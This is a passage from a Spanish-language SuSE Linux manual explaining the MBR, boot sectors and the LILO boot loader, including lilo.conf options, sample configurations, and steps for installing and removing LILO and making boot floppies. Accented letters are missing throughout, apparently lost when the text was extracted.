sistemas operativos. Los primeros 446 Bytes estn reservados para cdigo
de programas1. Los prximos 64 Bytes ofrecen espacio para una tabla de
1 El cdigo mismo y sus capacidades s que dependen del sistema operativo responsable de la

generacin del MBR!

105
4. Arrancar y gestor de arranque

particiones con hasta 4 entradas (ver apartado 2.9 y apartado 2.10)2. Los
ltimos 2 Bytes deben contener una cifra mgica (AA55): un MBR que
tenga otra cifra ser tratado como no vlido por parte de la BIOS y de todos
los sistemas operativos de PC

Sectores de arranque

Los sectores de arranque son los primeros de cada particin3. Ofrecen


512 Bytes de espacio y sirven para albergar cdigo, que puede ser ejecutado
por el sistema operativo que resida en esta particin. En el caso de los sec-
tores de arranque de DOS-,Windows- u OS/2 esto es realmente as y aparte
del cdigo ejecutable tambin contienen informacin importante del sistema
de ficheros. Por el contrario, los sectores de arranque de una particin Linux
estn en principio vacos (!), incluso despus de haber generado el sistema
de ficheros. Por lo tanto, una particin Linux no es autoarrancable aunque
tenga un kernel y un sistema de ficheros raz vlidos.
Un sector de arranque con cdigo de arranque vlido lleva en los ltimos
2 Byte la misma cifra mgica que el MBR.

Arranque de DOS o Windows 95/98

En el MBR de DOS del primer disco duro hay una entrada de particin
marcada como activa (ingl. bootable), es decir, que se busca all el sistema a
cargar4. El cdigo de programa de DOS en el MBR representa el primer paso
del Bootloader (ingl. first stage bootloader) y comprueba si se encuentra un
sector de arranque vlido en la particin indicada.
Si fuera el caso, el cdigo en este sector de arranque se ejecuta como segundo
paso del Bootloader (ingl. secondary stage loader). Este cdigo carga los
programas de sistema y finalmente aparece el conocido prompt del DOS o se
levanta la superficie de Windows 95/98.
En DOS una sola particin primaria puede ser marcada como activa, lo cual
significa que el sistema DOS no puede residir en una unidad lgica dentro de
una particin extendida.

4.2 Conceptos de arranque


El concepto de arranque ms simple que uno se puede imaginar es el de una
computadora con un solo sistema operativo. Una configuracin muy exten-
dida en este sentido es la de DOS o Windows 95/98 como sistema operativo
nico en la computadora. Para este caso, acabamos de comentar los procesos
que transcurren durante el inicio.
Un proceso de arranque semejante tambin sera imaginable para una com-
putadora de solo-Linux y en este caso no sera necesaria la instalacin de
2 Sin la tabla de particiones no puede existir ningn sistema de ficheros (las unidades de disco

en MS-DOS) o sea, es prcticamente imposible usar el disco duro.


3 A excepcin de la particin extendida que es un contenedor para otras particiones.
4 Esto significa que DOS debe estar instalado, en todo caso, en el primer disco duro.

106
4.2. Conceptos de arranque

LILO. Pero en tal escenario no se podra indicar al kernel una lnea de co-
mandos para el inicio (con informacin adicional sobre el hardware o con
indicaciones especiales respecto al arranque, etc.).
En cuanto existen varios sistemas operativos instalados en una computadora
existen tambin diferentes conceptos de arranque:

Arrancar sistemas operativos adicionales de disquete: El primer sistema


operativo se carga desde el disco duro y los dems desde la disquetera
usando disquete de arranque.
 Condicin: Existe una disquetera desde la cual se puede arrancar.
 Ejemplo: Se instala Linux como sistema adicional en un sistema DOS,
Windows 95 o OS/2 y se arranca Linux siempre desde un disquete de
arranque.
 Ventajas: Se ahorra la instalacin del gestor de arranque (Bootloader)
que en definitiva es un poco crtico.
 Desventajas: Se debe mantener siempre un buen stock de disquetes de
arranque que funcionen y el arranque tarda ms.
 El hecho de que Linux no pueda arrancar sin el disquete de arranque
puede ser una ventaja tal como una desventaja segn las condiciones
de uso.
Arrancar sistemas adicionales en tiempo de ejecucin: Se carga un deter-
minado sistema operativo en cada arranque y los dems se cargan de man-
era opcional a travs del que ya est cargado.
 Condicin: Deben existir programas tiles para esto.
 Ejemplos: La carga de Linux desde DOS mediante el uso de
loadlin.exe (ver apartado 4.9) o la carga de un servidor NetWare
desde DOS con server.exe.
Instalacin de un gestor de arranque: Un gestor de arranque (ingl. Boot-
manager), permite mantener varios sistemas operativos en una computa-
dora y alternar entre ellos. El usuario selecciona el sistema operativo
durante el arranque; para cambiar de sistema operativo exige iniciar la
computadora.
 Condicin: El gestor de arranque trabaja en armona con todos los
sistemas operativos instalados.
 Ejemplos: En determinadas circunstancias funcionan bien con Linux
el gestor de arranque de OS/2 (ver apartado 4.7.3) y el boot.sys de
DOS.

En las siguientes lneas se explica la instalacin y configuracin de LILO, que


es el gestor de arranque estndar para Linux. En [Alm96]5 hay explicaciones
ms detalladas. Al final se aaden detalles sobre loadlin.
5 Se puede imprimir este documento con el comando
lpr /usr/doc/packages/lilo/user.dvi

107
4. Arrancar y gestor de arranque

4.3 Resumen de LILO

LILO se presenta

El gestor de arranque de Linux es apto para su instalacin en el MBR (hay


detalles ms abajo, apartado 4.3). LILO tiene acceso a ambos discos duros
que se pueden acceder en modo real y por su manera de instalacin es capaz
de encontrar todos los datos que necesita en los discos duros crudos6 sin
tener informacin acerca de la particin. Es por eso que existe tambin la
posibilidad de iniciar sistemas operativos desde el segundo disco duro. En
comparacin al proceso de arranque de DOS, se ignoran los datos en la tabla
de particiones.
Pero la mayor diferencia respecto al arranque tipo DOS es la posibilidad
de elegir entre diferentes sistemas operativos, siendo uno de ellos Linux.
Despus de la carga del MBR en la memoria RAM se ejecuta LILO, que
le permite al usuario elegir de una lista de sistemas operativos instalados
(apartado 4.3).

Qu es LILO y qu sabe hacer?

LILO es un gestor de arranque universal. Es capaz de cargar y arrancar


durante el inicio los siguientes programas de sistema:

 Sectores de arranque de particiones (Inicio de un sistema operativo desde


esa particin)
 Kernel de Linux (Inicio de Linux)

La mayora de los otros gestores no saben hacer lo segundo.


Adems existe la posibilidad de pasar con LILO una lnea de comando al
kernel de Linux. Por razones de seguridad es preferible proteger total o
parcialmente los servicios de Linux.

Cul es la apariencia del arranque con LILO?

Cuando LILO se inicia, aparecen el texto LILO y un saludo en pantalla, que


se ha definido durante la configuracin (ver apartado 4.4.2). Despus aparece
el prompt:
boot:
Al introducir aqu un nombre se selecciona el sistema operativo, que arranca
inmediatamente despus. Los nombres de los sistemas operativos se configu-
ran con anterioridad. En este momento es posible pasar una lnea de comando
 (= tecla Tab ).
al kernel de Linux. El listado de los nombres dados a los distintos sistemas
operativos aparece pulsando Tab   
6 Se considera un dispositivo crudo (disco duro, disquete, particin : : : ) (ingl. raw device),

cuando el acceso a l se efecta de forma directa sin pasar por el correspondiente sistema de
ficheros.

108
4.3. Resumen de LILO

Qu partes forman LILO?


La maquinaria de arranque de LILO contiene las siguientes partes7 :

 un sector de arranque tipo LILO con un comienzo del cdigo de LILO


(primera fase) que activa el LILO real.
 el cdigo mquina de LILO (su corazn).
Se encuentra normalmente en: /boot/boot.b
 un fichero map, que genera LILO durante su instalacin y que contiene
informacin sobre la ubicacin del kernel de Linux y de otras informa-
ciones adicionales.
Se encuentra normalmente en: /boot/map
 opcional: un fichero de mensaje, cuyo contenido se muestra antes de la
seleccin de arranque como mensaje de saludo.
Se encuentra normalmente en: /boot/message
 los distintos kernel de Linux y sectores de arranque, que LILO debe
ofrecer para el arranque.

Cualquier acceso de escritura y tambin el movimiento de alguno de estos


componentes convierte el fichero map en no vlido y pide por lo tanto una
Reinstalacin de LILO (apartado 4.5)! Esto se refiere especialmente a
cualquier cambio del kernel (p. ej. la actualizacin).

Dnde se puede instalar LILO?


En realidad se trata solo del sector de arranque de LILO (primera fase).
Antes de detallar esto hay que mencionar una restriccin general:

Todos los componentes de la maquinaria de arranque de LILO deben


encontrarse dentro de la zona fsica de los primeros 1024 cilindros del
disco duro!

Durante la fase de arranque del sistema solamente se puede acceder a es-


tas zonas fsicas debido a las restricciones de los drivers de la BIOS. Por lo
dems, el acceso se restringe generalmente tambin a los dos primeros dis-
cos. Adems la existencia de disco (E)IDE excluye a los del tipo SCSI de la
posibilidad de arrancar. Esto resulta bastante molesto, porque para los dis-
cos (E)IDE el lmite de los 1024 cilindros aparece a una capacidad de entre
504 MB y 2 GB y para los SCSI en 8 GB.
Solo las BIOS ms recientes permiten el acceso a dispositivos adicionales.
Por ejemplo en combinacin con controladores EIDE hay acceso hasta 4
discos EIDE. Muchas combinaciones modernas de BIOS y adaptadora SCSI
permiten incluso empujar hacia delante los dispositivos SCSI para hacerlos
arrancables. El uso de esta posibilidad de LILO mediante la opcin disk se
explica en la pgina 115.
7 A propsito: Los sectores de arranque que instala LILO contienen una secuencia de bytes

que tambin es caracterstica para los virus de sector de arranque. Por eso no es de extraar que
algunos programas antivirus piensen que han encontrado el virus de sector de arranque AIRCOP
en ficheros como /boot/chain.b o /boot/os2_d.b. ;-)

109
4. Arrancar y gestor de arranque

Para simplificarlo se resume todo bajo la clave Lmite de 1024 cilindros; en


todo caso, antes de la primera instalacin de Linux(apartado 2.7.1), durante
la particin del disco duro, se debe considerar este hecho despes sera de-
masiado tarde y podra generar un montn de trabajo adicional! Los detalles
sobre cmo tratar esto se encuentran en el apartado 4.8.2.
Existen los siguiente lugares para instalar el sector de arranque de LILO:
 En un disquete
Este es el mtodo ms seguro pero a su vez el ms lento para arrancar
con LILO (ver apartado 4.6). Quien haya ledo este captulo y ahora no
desee modificar los sectores de arranque, debera (por el momento) usar
la variante con el disquete.
 En el sector de arranque de una particin Linux primaria del primer
disco duro
Esta variante no toca el MBR. Antes de arrancar hace falta marcar la
particin con fdisk como activa. Si Linux se encuentra completamente
en unidades o particiones lgicas del segundo disco duro, entonces para
LILO solo queda el sector de arranque de la particin extendida en el
primer disco (si este existe). Con Linux fdisk se puede activar tambin
esta particin.
Este procedimiento resulta un poco complicado cuando se desea arrancar
varios sistemas operativos desde el disco duro. Antes de cambiar de
sistema operativo hace falta desactivar, bajo el sistema operativo actual,
la particin de arranque del mismo y activar la del sistema a arrancar. Los
siguientes dos procedimientos sirven mejor para este caso, ya que se evita
el continuo cambio de estado de las particiones.
 En el Master Boot Record
Esta variante ofrece mxima flexibilidad. Se trata especialmente de la
nica posibilidad de arrancar Linux desde el disco duro, cuando todas las
particiones de Linux se encuentran en el segundo disco y no hay ninguna
particin extendida en el primero. La modificacin del MBR conlleva el
riesgo de efectuarse indebidamente. En el apartado 4.5 se explican las
precauciones necesarias a tener en cuenta.
 Si se ha usado hasta ahora otro gestor de arranque : : :
y se quiere seguir usando el mismo, existen, segn sus capacidades, un
par de posibilidades ms. Un caso muy frecuente: Tiene una particin
primaria en el segundo disco y desde all quiere arrancar su SuSE Linux;
suponiendo adems que el otro gestor de arranque puede iniciar esa
particin. En este caso puede hacerlo instalando LILO en el sector de
arranque e indicando al otro gestor que la particin se puede arrancar.

Se debe tener cuidado con la idea de arrancar una particin lgica de


Linux instalando all LILO: Muchas veces funciona, pero aunque el otro
gestor de arranque pueda arrancar particiones lgicas, en la actualidad
concretamente, no se garantiza ningn xito.

Naturalmente que se puede probar, quizs con una instalacin muy pe-
quea de Linux. Tal vez se tenga suerte, pero en todo caso es mejor
establecer como mnimo una particin primaria arrancable.

110
4.4. LILO la carte: La configuracin

4.4 LILO la carte: La configuracin


Como gestor de arranque flexible, LILO ofrece mltiples posibilidades para
adaptarse a las necesidades individuales. A continuacin se explican las
opciones ms importantes; explicaciones ms exhaustivas se encuentran en
[Alm96].
La configuracin de LILO se graba en el fichero /etc/lilo.conf. Al efec-
tuar la primera instalacin, recomendamos dejar hacerlo a YaST. Un posible
retoque de lilo.conf se puede hacer a base del fichero generado por YaST.

Nadie a parte de `root' debe tener permiso de lectura del fichero /etc/
lilo.conf, ya que ste puede contener contraseas (ver apartado 4.4.2,
Pgina 114). De hecho esto es estndar en SuSE Linux; se puede compro-
bar si se desea. En cualquier caso ayuda el comando:
tierra: # chmod 0600 /etc/lilo.conf

Es aconsejable guardar bien el fichero de configuracin de la ltima insta-


lacin de LILO y hacer un respaldo antes de cualquier cambio. Un cambio
no se efecta antes de instalar LILO nuevamente con la ltima versin del
fichero de configuracin (apartado 4.5)!

4.4.1 El contenido del fichero lilo.conf


El fichero /etc/lilo.conf comienza con un apartado global (ingl. global
options section), con parmetros generales seguido de uno o varios apartados
de sistema (ingl. image sections), para los distintos sistemas operativos que
LILO debe arrancar. Cada nuevo apartado de sistema se introduce por la
opcin image o other.
El orden de aparicin de los sistemas operativos en lilo.conf es importante
por el hecho que se arranca automticamente el que aparece primero, en caso
que el usuario no intervenga. Esta intervencin se puede realizar dentro de un
tiempo de espera definido por las opciones delay o timeout.
El Fichero 4.4.1 (Pgina 112) muestra una configuracin de ejemplo para una
computadora con Linux y DOS. Existen tres opciones de arranque definidas
por este fichero: un kernel de Linux nuevo y uno antiguo en la particin raz
actual (particin primaria del segundo disco) y MS-DOS (o Windows 95/98)
en /dev/hda1.
Todo lo que est en /etc/lilo.conf entre un smbolo # y el fin de la lnea
cuenta como comentario. LILO lo ignora igual que el espacio en blanco y
usndolo se mejora la legibilidad.
Repasamos brevemente las lneas ms importantes; opciones adicionales se
describen en el apartado 4.4.2, Pgina 114.

 Seccin global (Parte de parmetros)


boot=<bootdevice>
Dispositivo sobre el cual se debe instalar (en el primer sector) el sector
de arranque de LILO (el destino de la instalacin). <bootdevice>
puede ser: una disquetera (/dev/fd0), una particin (p. ej. /dev/

111
4. Arrancar y gestor de arranque

# Fichero de configuracin de LILO


# Start LILO global Section
boot=/dev/hda # LILO destino de instalacin:
backup=/boot/MBR.hda.970428 # MBR Fichero respaldo para MBR
# antiguo del 28. Abril 1997
#compact # faster, but won't work on all systems.
#linear
message=/boot/greetings # LILO's saludos
prompt
password = q99iwr4 # Contrasea general de LILO
timeout=100 # esperar 10 s en el prompt antes de arrancar
# con parmetros por defecto
vga = normal # modo texto normal (80x25 caracteres)
# End LILO global section

# Linux bootable partition config begins


image = /boot/vmlinuz # Aqu los valores por defecto
root = /dev/hdb3 # Particin root para kernel
read-only
label = Linux
# Linux bootable partition config ends

# Second Linux bootable partition config


image = /boot/vmlinuz.old
root = /dev/hdb3
read-only
label = Linux.old
# 2nd Linux bootable partition config ends

# DOS bootable partition config begins


other = /dev/hda1
label = DOS
loader = /boot/chain.b
table = /dev/hda
# DOS bootable partition config ends

Fichero 4.4.1: Configuracin de ejemplo en /etc/lilo.conf

hdb3), o todo un disco (p. ej. /dev/hda): lo ltimo significa la in-


stalacin en el MBR.
Configuracin por defecto: Si falta este parmetro, LILO se instala en
la particin raz actual.
prompt
Fuerza la aparicin del Prompt de LILO. Por defecto no sale ningn
prompt! (ver apartado 4.4.2, opcin delay).
Se recomienda ponerlo cuando LILO debe arrancar ms de un sistema
operativo. Junto con esta opcin se debera definir tambin la opcin
timeout para que se pueda efectuar un reinicio automtico cuando el
usuario no introduce nada en el prompt.
timeout=<dcimas de segundo>

112
4.4. LILO la carte: La configuracin

Define un tiempo de espera en el prompt y permite as un reinicio au-


tomtico cuando no se introduce nada en el prompt. <dcimas de
 
segundo> es el tiempo que queda para introducir un comando. Pul-
sando Shift * en el prompt, el tiempo comienza a contar de nuevo.
Configuracin por defecto: infinito, o sea sin reboot automatico!
 Seccin Linux
image=<kernelimage>
Aqu tiene que aparecer el nombre de la imagen del kernel a arrancar.
Esto ser por lo general /boot/vmlinuz y en versiones antiguas de
SuSE Linux (antes de la versin 6.0) /vmlinuz o /zImage.
label=<nombre>
Un nombre para el sistema a libre eleccin pero fijo dentro de /etc/
lilo.conf (p. ej. Linux). La longitud mxima es de 15 caracteres, se
permiten solo caracteres normales, cifras y guin bajo (`_'); no se
permiten espacios o caracteres especiales como la o la , etc8 . El
valor por defecto es el nombre de la imagen del kernel (p. ej. /boot/
vmlinuz).
Introduciendo un nombre en el prompt de LILO durante el arranque del
sistema, se selecciona el sistema operativo deseado y en caso de usar
varios es recomendable proporcionar una explicacin ms detallada de
los nombres y sistemas en un fichero de mensaje (ver apartado 4.4.2,
opcin message).
root=<rootdevice>
Esta opcin indica al kernel la particin root del sistema Linux (p. ej.
/dev/hda2). Se recomienda definirlo por seguridad! Sin esta opcin
el kernel toma la particin root que est apuntada en l mismo9 .
 Otro sistema
other=<particin>
La variable other indica a LILO las particiones de arranque de otros
sistemas para poder iniciarlos (p. ej. /dev/hda1).
loader=<Boot-Loader>
Para la carga de un sector de arranque ajeno, LILO construye en su
fichero map un pseudo-MBR (arrancando la computadora, LILO
inicia primero el pseudo-MBR y a su vez ste inicia el sector de ar-
ranque ajeno). Esta opcin indica el fichero con el cdigo para el
pseudo-MBR.
El valor por defecto y generalmente correcto es: /boot/chain.b.
A veces se quiere arrancar un sistema operativo (p. ej. DOS), que
debe ser iniciado desde el primer disco duro pero con LILO desde
otro disco duro. Las opciones adicionales map-drive=<Nummer> y
to=<Nummer> permiten intercambiar los dos discos con su nmero
de dispositivo de BIOS. Ejemplo: Fichero 4.4.2 (Pgina 114).
8 Las reglas exactas para los caracteres permitidos se encuentran en [Alm96], captulo 3.2.1.
9 Se puede ver con el comando rdev <kernelimage>.

113
4. Arrancar y gestor de arranque

El cargador (ingl. loader) os2_d.b sirve para cargar OS/2 desde el


segundo disco10.
Lo nuevo desde la versin 20 de LILO: Tambin para el loader de OS/2
se debe indicar explcitamente el cambio de los dos primeros discos
(como lo indica el ejemplo en el Fichero 4.4.2).

# Booting DOS from the second hard drive


# DOS bootable partition config begins
other = /dev/hdb1
label = DOS
loader = /boot/chain.b
map-drive = 0x80 # first hd: BIOS number 0x80
to = 0x81 # second hd: BIOS number 0x81
map-drive = 0x81
to = 0x80
table = /dev/hdb
# DOS bootable partition config ends

Fichero 4.4.2: Extracto de /etc/lilo.conf para arancar DOS del 2o disco

table=<ptabla>
<ptabla> debe indicar el dispositivo fuente para la tabla de particin,

que se debe cargar al pseudo-MBR (generalmente /dev/hda o /dev/


sda).
label=<nombre>
El nombre a libre eleccin para este sistema. Se recomienda definirlo,
ya que el mero nombre de dispositivo de la particin no brinda mucha
informacin.

4.4.2 Otras opciones de configuracin (Seleccin)


En el apartado anterior solamente se comentaron las opciones mnimas y ms
significativas de /etc/lilo.conf. Aqu se comentan otras opciones tiles.
Aquellas que se indican explcitamente como opciones del tipo imagen
pertenecen al apartado de un determinado sistema operativo. Las otras
pertenecen a la parte global de parmetros de /etc/lilo.conf.

 backup=<fichero backup>
Indica el nombre de fichero que LILO usa para guardar un respaldo del
sector de arranque sobre el cual se instalar. El valor por defecto es
/boot/boot.xxxx, donde xxxx representa el nmero interno de dispositivo
de la particin sobre la que se va a instalar11 .
Recomendamos usar un nombre que hable ms por s mismo, como arriba
en el ejemplo (con nombre de dispositivo y fecha). Haciendo esto se
prescinde de la caracterstica de desinstalacin automtica de LILO, pero
10
Los cargadores any_b.b (Arrancar desde B:) y any_d.b (Arrancar desde el segundo disco)
son obsoletos desde la versin 20 de LILO.
11 Esto se encuentra detallado en las fuentes del kernel en /usr/src/linux/init/main.c,

funcin parse_root_dev().

114
4.4. LILO la carte: La configuracin

segn nuestra opinin, es algo que resulta mejor hacindolo a mano y con
mucho cuidado (ver apartado 4.5, Pgina 118).

Si ya existe el fichero de respaldo, LILO no generar ninguno nuevo! Se


ha de tener en cuenta entonces de usar siempre un nombre de fichero nuevo

 compact
Instalando LILO en disquete se recomienda activar esta opcin. LILO
trata de leer durante el arranque varios sectores simultneamente y segn
la computadora usada puede arrancar ms rpidamente. Lamentable-
mente no funciona en todas.

 disk=<Fichero de dispositivo>
bios=<BIOS-nmero de dispositivo>
cylinders=<Cantidad>
heads=<Cantidad>
sectors=<Cantidad>
Aqu es posible indicar directamente a LILO cul nmero de dispositivo
de BIOS y cul geometra debe usar para acceder directamente a los
sectores de un determinado disco. Se necesita hacer esto pocas veces!
Aplicacin ms importante:
Mezcla de discos IDE-SCSI: Si se tiene una BIOS que permite el orden
de arranque SCSI antes de IDE y se quiere usar esta opcin, es necesario
informar a LILO especialmente sobre el cambio de orden de los discos
desde el punto de vista de la BIOS. Esto se efecta con un apunte extra en
la parte global de lilo.conf como p. ej. en el Fichero 4.4.3, Pgina 115
para el caso de un sistema con un disco IDE y uno SCSI.

# Enable LILO to correctly access /dev/sda and /dev/hda


# at boot time if their boot order is interchanged in
# the BIOS:
disk = /dev/sda # The SCSI disk is regarded as...
bios = 0x80 # ...first BIOS disk;
disk = /dev/hda # the IDE disk is regarded as...
bios = 0x81 # ...second BIOS disk.

Fichero 4.4.3: Extracto de lilo.conf: Orden de arranque: SCSI ante IDE

 linear
Indicando esta opcin, LILO anota durante la instalacin todas las refer-
encias en los sectores como direcciones lgicas y no fsicas, as que stas
se hacen independientes de la geometra del disco. Esta opcin est pre-
vista, ya que en el momento de arranque, la BIOS reconoce en el caso
de algunas tarjetas controladoras, una geometra diferente a la del sistema
Linux. Se necesita hacer esto pocas veces!

115
4. Arrancar y gestor de arranque

La opcin linear no evita el problema del lmite de 1024 cilindros (re-


specto a la geometra de la BIOS). Adems, la opcin solo funciona por
debajo de otro lmite, que es el lmite de 65535 pistas, que muchas veces
es ms severo que el lmite de cilindros: 512 MB / 1 GB / poco menos de
2 GB por 16 / 32 / 63 sectores por pista.

 message=<fichero-message>
Indica el nombre de un fichero de texto, que LILO muestra en el primer
momento en pantalla. No debe tener ms de 24 lneas (para que no se
mueva hacia arriba) y puede p. ej. explicar la eleccin de arranque con
LILO que vendr poco despus. Un mensaje de saludo semejante ya se
conoce del disquete de arranque de SuSE que se encuentra en el paquete;
se recomienda.

El fichero message pertenece a la maquinaria de arranque de LILO.


Cualquier cambio en l requiere una nueva instalacin de LILO (aparta-
do 4.5)!

 password=<contrasea>
Esta opcin puede encontrarse al comienzo, en la seccin de los parmet-
ros o bien en la seccin de sistema. Lo que hace es asegurar el acceso a
los servicios de LILO o al inicio del correspondiente sistema operativo.
Si se pone en serio una contrasea se debera borrar sta inmediatamente
despus del primer uso del fichero lilo.conf, ya que trabajando como
root no es problema definir una nueva contrasea en cualquier momen-
to. Adems, se recomienda usar la opcin restricted, De lo contrario
sera posible iniciar directamente un Shell con un parmetro; ver la Man-
page de lilo.conf (man lilo.conf)!
 read-only
Con esta opcin, LILO indica al kernel montar la particin raz en modo
de solo-lectura, tal como es usual al inicio de sistemas Linux. Dejando
esta opcin, el kernel usa la configuracin predeterminada 12 .
 delay=<dcimas de segundo>
 , Ctrl ,
Cuando por defecto no aparece ningn prompt, el usuario puede hacerlo
en el momento del inicio de LILO pulsando Shift * 

aparecer  
Alt . La opcin delay indica el intervalo de tiempo en el que LILO
espera que se pulse la tecla antes de cargar automticamente el primer
sistema de su lista de sistemas operativos. El valor predeterminado es 0,
o sea, ningn tiempo de espera.
Evidentemete la opcin delay es innecesaria, cuando tal cual aparece un
prompt usando prompt.
 vga=<mode>
Seleccione el modo VGA para el inicio. Valores vlidos para <mode>
son: normal (para 80x25), ext (para 80x50) o ask (preguntar en el
inicio).
12 La configuracin se ve con el comando rdev -R <kernelimage> . Los kernel de instalacin
y cada kernel compilado nuevamente ya estn en modo read-only por lo cual casi no se necesita
esta opcin. (Prubelo!)

116
4.5. Instalacin y desinstalacin de LILO

 append="<parmetro>"
Opcin image para el kernel de Linux. Permite pasar parmetros del
kernel (ver apartado 14.3.2, Pgina 319) como por ejemplo cuando se in-
dican componentes de hardware, tal como se puede hacer en el prompt de
LILO. El kernel recibe primero la lnea append y despus los parmetros
introducidos en el prompt. Por lo cual en caso de duda, los parmetros
del prompt se superponen.
Ejemplo: append="mcd=0x300,10"

4.5 Instalacin y desinstalacin de LILO


Instalando Linux desde cero, YaST gua al usuario de manera interactiva
por los pasos necesarios. Normalmente no se necesitan retoques a mano
instalando LILO. No obstante, aqu suponemos la integracin de LILO en
un sistema ya instalado y usando algunas opciones especiales.

La instalacin de un gestor de arranque es una intervencin profunda y por


tanto conlleva algo de riesgo. En todo caso, antes de la instalacin de
LILO, es mejor asegurarse de que se puede arrancar Linux con disquetes y
a lo mejor tambin los dems sistemas operativos! Sobre todo se tiene que
poder usar fdisk.

Instalacin despus del cambio de configuracin

Si se ha cambiado alguno de los componentes de LILO (apartado 4.3) o si


se ha modificado su configuracin en /etc/lilo.conf, hace falta instalar
LILO de nuevo. Esto se lleva a cabo con la llamada al instalador map (ingl.
map-installer):
tierra: # /sbin/lilo
Primero LILO genera un respaldo del sector de arranque destino, graba all
su primera fase y genera despus un nuevo fichero map (ver apartado 4.3).
LILO confirma en pantalla los sistemas instalados, lo que resulta para el
ejemplo de arriba en el Mensaje en pantalla 4.5.1:

Added Linux*
Added Linux.old
Added DOS

Mensaje en pantalla 4.5.1: Indicaciones llamando a LILO

Una vez terminada la instalacin, se puede arrancar la computadora de nuevo:


tierra: # shutdown -r now

 se pueden
Despus del test de sistema de la BIOS, LILO muestra el prompt que permite
pasar parmetros al kernel y elegir la imagen de arranque. Con Tab 
ver los nombres de las configuraciones instaladas.

117
4. Arrancar y gestor de arranque

Instalacin despus de la recompilacin del kernel


Para integrar un kernel nuevo, aparte de la reinstalacin de LILO a mano,
existe otra posibilidad ms cmoda:
La organizacin de los comandos para configurar y generar un kernel se
encuentran en el fichero /usr/src/linux/Makefile que debe definir el
path de la instalacin como INSTALL_PATH=/boot. Este Makefile contiene
un target nombrado zlilo que efecta automticamente un par de acciones
despus de la compilacin del kernel: Renombra el kernel actual de /boot/
vmlinuz (antes /vmlinuz) a /boot/vmlinuz.old, escribe el kernel nuevo
a /boot/vmlinuz y finalmente reinstala LILO. Todo esto se ejecuta con la
sencilla orden:
tierra:/usr/src/linux # make zlilo
Esto evidentemente slo tiene sentido si /etc/lilo.conf ha sido preparado
con anterioridad a la reinstalacin y el kernel antiguo realmente se encuentra
en /boot/vmlinuz. Por seguridad, tambin se debera apuntar entre las
imgenes para arrancar, la del antiguo kernel, por ejemplo, as como est
hecho en el Fichero 4.4.1.
As es posible elegir en el prompt de arranque de LILO el kernel nuevo y
tambin el antiguo probado (nombre en el ejemplo Linux.old). De este
modo se genera un nivel adicional de seguridad, til si el sistema no quiere
arrancar con el nuevo kernel.

Desinstalar LILO

La desinstalacin de un gestor de arranque es una intervencin profunda y


por tanto conlleva algo de riesgo. Es importante en todo caso, asegurarse
antes de la desinstalacin de LILO de que se pueda arrancar Linux con
disquetes y a lo mejor tambin los dems sistemas operativos! Si no, se
puede entrar en la desagradable situacin de perder el acceso a los sistemas
operativos en el disco duro.

A lo mejor un buen da hace falta desinstalar LILO:-( Para desinstalarlo se


copia el contenido original del sector de arranque al mismo sobreescribiendo
as a LILO. Bajo Linux esto no representa ningn problema, si existe un
respaldo vlido (ver apartado 4.4.2 Option backup).

El respaldo de un sector de arranque deja de ser vlido cuando la particin


correspondiente ha recibido un nuevo sistema de ficheros (en el mundo
DOS: cuando ha sido formateado). La tabla de particin en un respaldo
de MBR pierde completamente su validez cuando el disco ha sido reparti-
cionado. Un respaldo as es una bomba que puede estallar en cualquier
momento, por eso lo mejor es borrar respaldos caducados inmediatamente.
Usar un respaldo viejo es una manera bastante segura de perder montones
de datos!

Lo ms fcil es la recuperacin de un MBR de DOS, Windows o OS/2.


Se efecta con el siguiente comando de MS-DOS (disponible a partir de la
versin DOS 5.0 en adelante):

118
4.6. Generar disquete de arranque de Linux

C:\> fdisk /mbr


o con el comando de OS/2:
C:\> fdisk /newmbr
Estos comandos solamente escriben los primeros 446 Bytes al MBR (el cdi-
go de arranque) y dejan la tabla de particin sin tocar13. No olvide activar con
fdisk la particin de arranque, ya que las rutinas del MBR de DOS, Windows
y OS/2 lo necesitan.
Antes de continuar conviene hacer otro respaldo reciente del sector de LILO
en cuestin; mejor un respaldo ms que uno menos. Despus se comprueba
como mnimo dos veces ;-) si el respaldo antiguo es correcto y si su
tamao es de exactamente 512 bytes. Finalmente se devuelve la informacin
del respaldo a su ubicacin original usando las siguientes instrucciones, sin
confundirse entre if= y of=

 Si LILO est en la particin yyyy (p. ej. hda1, hda2, : : : ):


tierra: # dd if=/dev/yyyy of=fichero-nuevo bs=512 count=1
tierra: # dd if=fichero-respaldo of=/dev/yyyy

 Si LILO est en el MBR del disco zzz (p. ej. hda, sda):
tierra: # dd if=/dev/zzz of=fichero-nuevo bs=512 count=1
tierra: # dd if=fichero-respaldo of=/dev/zzz bs=446 count=1

El ltimo comando tiene la precaucin de no modificar la tabla de parti-


ciones. Recuerde activar con fdisk la particin que debe formar ahora la de
arranque.
A propsito: Se ha percatado de lo rpido que se hace un respaldo del sector
de arranque? Por eso recomendamos hacerlo a menudo.

4.6 Generar disquete de arranque de Linux


Un disquete de arranque de Linux contiene en resumen uno o varios kernel
que pueden ser gestionados por LILO. Sirve para arrancar SuSE Linux en el
disco cuando ya no se puede arrancar de manera directa desde el disco, lo
cual puede ser provocado por un gestor de arranque mal configurado, por un
MBR borrado o por fallos en la instalacin de LILO.
Este tipo de disquete solamente carga el kernel, todo lo dems (init, scripts de
arranque, programas importantes de sistema) se espera que lo proporcione el
sistema instalado. La interconexin entre el kernel del disquete y el sistema
en el disco duro, se efecta indicando al kernel correspondiente la particin
root del disco como dispositivo root (ingl. root device).
No se debe confundir esto con los disquetes de arranque SuSE para la in-
stalacin y emergencias, cuyos ficheros de imagen (ingl. image files) se en-
cuentran en el directorio /disks del primer CD, listos para ser copiados en
disquetes (apartado 16.4, Pgina 376).

13Salvo que el MBR (apartado 4.1) se encuentre como no vlido por una cifra mgica falsa; en
este caso se borra la tabla!

119
4. Arrancar y gestor de arranque

Disquete de arranque sin LILO


Si se encuentra en la buena posicin de no necesitar pasar ningn parmetro
al kernel cuando el sistema arranca 14 , lo ms rpido para generar un disquete
de arranque es copiar el kernel actual sobre un disquete vaco sin errores y
ajustar correctamente el dispositivo root, si no est hecho ya. Se usa los
siguientes comandos:
tierra: # /sbin/badblocks -v /dev/fd0 1440
tierra: # dd if=Su_Kernel of=/dev/fd0 bs=18k
tierra: # rdev /dev/fd0 Su_Particin_Root
tierra: # rdev -R /dev/fd0 1
El primer comando prueba si hay bloques daados (1 bloque = 1 k). El ltimo
comando se preocupa de que el kernel monte la particin root al principio a
modo de solo-lectura, tal como debe ser siempre (los scripts de arranque de
sistema confan en esto).

Disquete de arranque con LILO


Un disquete de arranque confortable, con mensaje de saludo, eleccin del
